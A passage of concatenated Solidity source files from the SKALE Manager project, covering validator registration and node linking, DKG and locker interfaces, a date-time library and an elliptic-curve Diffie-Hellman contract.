* https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ].
*
* Validators register an address, and use this address to accept delegations and
* register nodes.
*/
contract ValidatorService is Permissions {
using ECDSA for bytes32;
struct Validator {
string name;
address validatorAddress;
address requestedAddress;
string description;
uint feeRate;
uint registrationTime;
uint minimumDelegationAmount;
bool acceptNewRequests;
}
/**
* @dev Emitted when a validator registers.
*/
event ValidatorRegistered(
uint validatorId
);
/**
* @dev Emitted when a validator address changes.
*/
event ValidatorAddressChanged(
uint validatorId,
address newAddress
);
/**
* @dev Emitted when a validator is enabled.
*/
event ValidatorWasEnabled(
uint validatorId
);
/**
* @dev Emitted when a validator is disabled.
*/
event ValidatorWasDisabled(
uint validatorId
);
/**
* @dev Emitted when a node address is linked to a validator.
*/
event NodeAddressWasAdded(
uint validatorId,
address nodeAddress
);
/**
* @dev Emitted when a node address is unlinked from a validator.
*/
event NodeAddressWasRemoved(
uint validatorId,
address nodeAddress
);
mapping (uint => Validator) public validators;
mapping (uint => bool) private _trustedValidators;
uint[] public trustedValidatorsList;
// address => validatorId
mapping (address => uint) private _validatorAddressToId;
// address => validatorId
mapping (address => uint) private _nodeAddressToValidatorId;
// validatorId => nodeAddress[]
mapping (uint => address[]) private _nodeAddresses;
uint public numberOfValidators;
bool public useWhitelist;
modifier checkValidatorExists(uint validatorId) {
require(validatorExists(validatorId), "Validator with such ID does not exist");
_;
}
/**
* @dev Creates a new validator ID that includes a validator name, description,
* commission or fee rate, and a minimum delegation amount accepted by the validator.
*
* Emits a {ValidatorRegistered} event.
*
* Requirements:
*
* - Sender must not already have registered a validator ID.
* - Fee rate must be between 0 - 1000‰. Note: in per mille.
*/
function registerValidator(
string calldata name,
string calldata description,
uint feeRate,
uint minimumDelegationAmount
)
external
returns (uint validatorId)
{
require(!validatorAddressExists(msg.sender), "Validator with such address already exists");
require(feeRate <= 1000, "Fee rate of validator should be lower than 100%");
validatorId = ++numberOfValidators;
validators[validatorId] = Validator(
name,
msg.sender,
address(0),
description,
feeRate,
now,
minimumDelegationAmount,
true
);
_setValidatorAddress(validatorId, msg.sender);
emit ValidatorRegistered(validatorId);
}
/**
* @dev Allows Admin to enable a validator by adding their ID to the
* trusted list.
*
* Emits a {ValidatorWasEnabled} event.
*
* Requirements:
*
* - Validator must not already be enabled.
*/
function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin {
require(!_trustedValidators[validatorId], "Validator is already enabled");
_trustedValidators[validatorId] = true;
trustedValidatorsList.push(validatorId);
emit ValidatorWasEnabled(validatorId);
}
/**
* @dev Allows Admin to disable a validator by removing their ID from
* the trusted list.
*
* Emits a {ValidatorWasDisabled} event.
*
* Requirements:
*
* - Validator must not already be disabled.
*/
function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin {
require(_trustedValidators[validatorId], "Validator is already disabled");
_trustedValidators[validatorId] = false;
uint position = _find(trustedValidatorsList, validatorId);
if (position < trustedValidatorsList.length) {
trustedValidatorsList[position] =
trustedValidatorsList[trustedValidatorsList.length.sub(1)];
}
trustedValidatorsList.pop();
emit ValidatorWasDisabled(validatorId);
}
/**
* @dev Owner can disable the trusted validator list. Once turned off, the
* trusted list cannot be re-enabled.
*/
function disableWhitelist() external onlyOwner {
useWhitelist = false;
}
/**
* @dev Allows `msg.sender` to request a new address.
*
* Requirements:
*
* - `msg.sender` must already be a validator.
* - New address must not be null.
* - New address must not be already registered as a validator.
*/
function requestForNewAddress(address newValidatorAddress) external {
require(newValidatorAddress != address(0), "New address cannot be null");
require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered");
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].requestedAddress = newValidatorAddress;
}
/**
* @dev Allows msg.sender to confirm an address change.
*
* Emits a {ValidatorAddressChanged} event.
*
* Requirements:
*
* - Must be owner of new address.
*/
function confirmNewAddress(uint validatorId)
external
checkValidatorExists(validatorId)
{
require(
getValidator(validatorId).requestedAddress == msg.sender,
"The validator address cannot be changed because it is not the actual owner"
);
delete validators[validatorId].requestedAddress;
_setValidatorAddress(validatorId, msg.sender);
emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress);
}
/**
* @dev Links a node address to validator ID. Validator must present
* the node signature of the validator ID.
*
* Requirements:
*
* - Signature must be valid.
* - Address must not be assigned to a validator.
*/
function linkNodeAddress(address nodeAddress, bytes calldata sig) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(
keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress,
"Signature is not pass"
);
require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator");
_addNodeAddress(validatorId, nodeAddress);
emit NodeAddressWasAdded(validatorId, nodeAddress);
}
/**
* @dev Unlinks a node address from a validator.
*
* Emits a {NodeAddressWasRemoved} event.
*/
function unlinkNodeAddress(address nodeAddress) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
this.removeNodeAddress(validatorId, nodeAddress);
emit NodeAddressWasRemoved(validatorId, nodeAddress);
}
/**
* @dev Allows a validator to set a minimum delegation amount.
*/
function setValidatorMDA(uint minimumDelegationAmount) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].minimumDelegationAmount = minimumDelegationAmount;
}
/**
* @dev Allows a validator to set a new validator name.
*/
function setValidatorName(string calldata newName) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].name = newName;
}
/**
* @dev Allows a validator to set a new validator description.
*/
function setValidatorDescription(string calldata newDescription) external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
validators[validatorId].description = newDescription;
}
/**
* @dev Allows a validator to start accepting new delegation requests.
*
* Requirements:
*
* - Must not have already enabled accepting new requests.
*/
function startAcceptingNewRequests() external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled");
validators[validatorId].acceptNewRequests = true;
}
/**
* @dev Allows a validator to stop accepting new delegation requests.
*
* Requirements:
*
* - Must not have already stopped accepting new requests.
*/
function stopAcceptingNewRequests() external {
// check Validator Exist inside getValidatorId
uint validatorId = getValidatorId(msg.sender);
require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled");
validators[validatorId].acceptNewRequests = false;
}
function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") {
require(_nodeAddressToValidatorId[nodeAddress] == validatorId,
"Validator does not have permissions to unlink node");
delete _nodeAddressToValidatorId[nodeAddress];
for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) {
if (_nodeAddresses[validatorId][i] == nodeAddress) {
if (i + 1 < _nodeAddresses[validatorId].length) {
_nodeAddresses[validatorId][i] =
_nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)];
}
delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)];
_nodeAddresses[validatorId].pop();
break;
}
}
}
/**
* @dev Returns the amount of validator bond (self-delegation).
*/
function getAndUpdateBondAmount(uint validatorId)
external
returns (uint)
{
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
return delegationController.getAndUpdateDelegatedByHolderToValidatorNow(
getValidator(validatorId).validatorAddress,
validatorId
);
}
/**
* @dev Returns node addresses linked to the msg.sender.
*/
function getMyNodesAddresses() external view returns (address[] memory) {
return getNodeAddresses(getValidatorId(msg.sender));
}
/**
* @dev Returns the list of trusted validators.
*/
function getTrustedValidators() external view returns (uint[] memory) {
return trustedValidatorsList;
}
/**
* @dev Checks whether the validator ID is linked to the validator address.
*/
function checkValidatorAddressToId(address validatorAddress, uint validatorId)
external
view
returns (bool)
{
return getValidatorId(validatorAddress) == validatorId ? true : false;
}
/**
* @dev Returns the validator ID linked to a node address.
*
* Requirements:
*
* - Node address must be linked to a validator.
*/
function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) {
validatorId = _nodeAddressToValidatorId[nodeAddress];
require(validatorId != 0, "Node address is not assigned to a validator");
}
function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view {
require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request");
require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests");
require(
validators[validatorId].minimumDelegationAmount <= amount,
"Amount does not meet the validator's minimum delegation amount"
);
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
useWhitelist = true;
}
/**
* @dev Returns a validator's node addresses.
*/
function getNodeAddresses(uint validatorId) public view returns (address[] memory) {
return _nodeAddresses[validatorId];
}
/**
* @dev Checks whether validator ID exists.
*/
function validatorExists(uint validatorId) public view returns (bool) {
return validatorId <= numberOfValidators && validatorId != 0;
}
/**
* @dev Checks whether validator address exists.
*/
function validatorAddressExists(address validatorAddress) public view returns (bool) {
return _validatorAddressToId[validatorAddress] != 0;
}
/**
* @dev Checks whether validator address exists.
*/
function checkIfValidatorAddressExists(address validatorAddress) public view {
require(validatorAddressExists(validatorAddress), "Validator address does not exist");
}
/**
* @dev Returns the Validator struct.
*/
function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) {
return validators[validatorId];
}
/**
* @dev Returns the validator ID for the given validator address.
*/
function getValidatorId(address validatorAddress) public view returns (uint) {
checkIfValidatorAddressExists(validatorAddress);
return _validatorAddressToId[validatorAddress];
}
/**
* @dev Checks whether the validator is currently accepting new delegation requests.
*/
function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) {
return validators[validatorId].acceptNewRequests;
}
function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) {
return _trustedValidators[validatorId] || !useWhitelist;
}
// private
/**
* @dev Links a validator address to a validator ID.
*
* Requirements:
*
* - Address is not already in use by another validator.
*/
function _setValidatorAddress(uint validatorId, address validatorAddress) private {
if (_validatorAddressToId[validatorAddress] == validatorId) {
return;
}
require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator");
address oldAddress = validators[validatorId].validatorAddress;
delete _validatorAddressToId[oldAddress];
_nodeAddressToValidatorId[validatorAddress] = validatorId;
validators[validatorId].validatorAddress = validatorAddress;
_validatorAddressToId[validatorAddress] = validatorId;
}
/**
* @dev Links a node address to a validator ID.
*
* Requirements:
*
* - Node address must not be already linked to a validator.
*/
function _addNodeAddress(uint validatorId, address nodeAddress) private {
if (_nodeAddressToValidatorId[nodeAddress] == validatorId) {
return;
}
require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address");
_nodeAddressToValidatorId[nodeAddress] = validatorId;
_nodeAddresses[validatorId].push(nodeAddress);
}
function _find(uint[] memory array, uint index) private pure returns (uint) {
uint i;
for (i = 0; i < array.length; i++) {
if (array[i] == index) {
return i;
}
}
return array.length;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleDKG.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface to {SkaleDKG}.
*/
interface ISkaleDKG {
/**
* @dev See {SkaleDKG-openChannel}.
*/
function openChannel(bytes32 schainId) external;
/**
* @dev See {SkaleDKG-deleteChannel}.
*/
function deleteChannel(bytes32 schainId) external;
/**
* @dev See {SkaleDKG-isLastDKGSuccessful}.
*/
function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool);
/**
* @dev See {SkaleDKG-isChannelOpened}.
*/
function isChannelOpened(bytes32 schainId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ILocker.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface of the Locker functions.
*/
interface ILocker {
/**
* @dev Returns and updates the total amount of locked tokens of a given
* `holder`.
*/
function getAndUpdateLockedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the total non-transferrable and un-delegatable
* amount of a given `holder`.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint);
}
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// BokkyPooBah's DateTime Library v1.01
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyPooBahsDateTimeLibrary {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
require(year >= 1970);
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
uint year;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint timestamp) internal pure returns (uint day) {
uint year;
uint month;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
/*
Modifications Copyright (C) 2018 SKALE Labs
ec.sol by @jbaylina under GPL-3.0 License
*/
/** @file ECDH.sol
* @author Jordi Baylina (@jbaylina)
* @date 2016
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
/**
* @title ECDH
* @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to
* support the DKG process.
*/
contract ECDH {
using SafeMath for uint256;
uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798;
uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8;
uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F;
uint256 constant private _A = 0;
function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) {
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = ecMul(
privKey,
_GX,
_GY,
1
);
z = inverse(z);
qx = mulmod(x, z, _N);
qy = mulmod(y, z, _N);
}
function deriveKey(
uint256 privKey,
uint256 pubX,
uint256 pubY
)
external
pure
returns (uint256 qx, uint256 qy)
{
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = ecMul(
privKey,
pubX,
pubY,
1
);
z = inverse(z);
qx = mulmod(x, z, _N);
qy = mulmod(y, z, _N);
}
function jAdd(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N));
}
function jSub(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N));
}
function jMul(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N));
}
function jDiv(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N));
}
function inverse(uint256 a) public pure returns (uint256 invA) {
require(a > 0 && a < _N, "Input is incorrect");
uint256 t = 0;
uint256 newT = 1;
uint256 r = _N;
uint256 newR = a;
uint256 q;
while (newR != 0) {
q = r.div(newR);
(t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N));
(r, newR) = (newR, r % newR);
}
return t;
}
function ecAdd(
uint256 x1,
uint256 y1,
uint256 z1,
uint256 x2,
uint256 y2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
uint256 ln;
uint256 lz;
uint256 da;
uint256 db;
// we use (0 0 1) as zero point, z always equal 1
if ((x1 == 0) && (y1 == 0)) {
return (x2, y2, z2);
}
// we use (0 0 1) as zero point, z always equal 1
if ((x2 == 0) && (y2 == 0)) {
return (x1, y1, z1);
}
if ((x1 == x2) && (y1 == y2)) {
(ln, lz) = jMul(x1, z1, x1, z1);
(ln, lz) = jMul(ln,lz,3,1);
(ln, lz) = jAdd(ln,lz,_A,1);
(da, db) = jMul(y1,z1,2,1);
} else {
(ln, lz) = jSub(y2,z2,y1,z1);
(da, db) = jSub(x2,z2,x1,z1);
}
(ln, lz) = jDiv(ln,lz,da,db);
(x3, da) = jMul(ln,lz,ln,lz);
(x3, da) = jSub(x3,da,x1,z1);
(x3, da) = jSub(x3,da,x2,z2);
(y3, db) = jSub(x1,z1,x3,da);
(y3, db) = jMul(y3,db,ln,lz);
(y3, db) = jSub(y3,db,y1,z1);
if (da != db) {
x3 = mulmod(x3, db, _N);
y3 = mulmod(y3, da, _N);
z3 = mulmod(da, db, _N);
} else {
z3 = da;
}
}
function ecDouble(
uint256 x1,
uint256 y1,
uint256 z1
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
(x3, y3, z3) = ecAdd(
x1,
y1,
z1,
x1,
y1,
z1
);
}
function ecMul(
uint256 d,
uint256 x1,
uint256 y1,
uint256 z1
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
uint256 remaining = d;
uint256 px = x1;
uint256 py = y1;
uint256 pz = z1;
uint256 acx = 0;
uint256 acy = 0;
uint256 acz = 1;
if (d == 0) {
return (0, 0, 1);
}
while (remaining != 0) {
if ((remaining & 1) != 0) {
(acx, acy, acz) = ecAdd(
acx,
acy,
acz,
px,
py,
pz
);
}
remaining = remaining.div(2);
(px, py, pz) = ecDouble(px, py, pz);
}
(x3, y3, z3) = (acx, acy, acz);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
FieldOperations.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
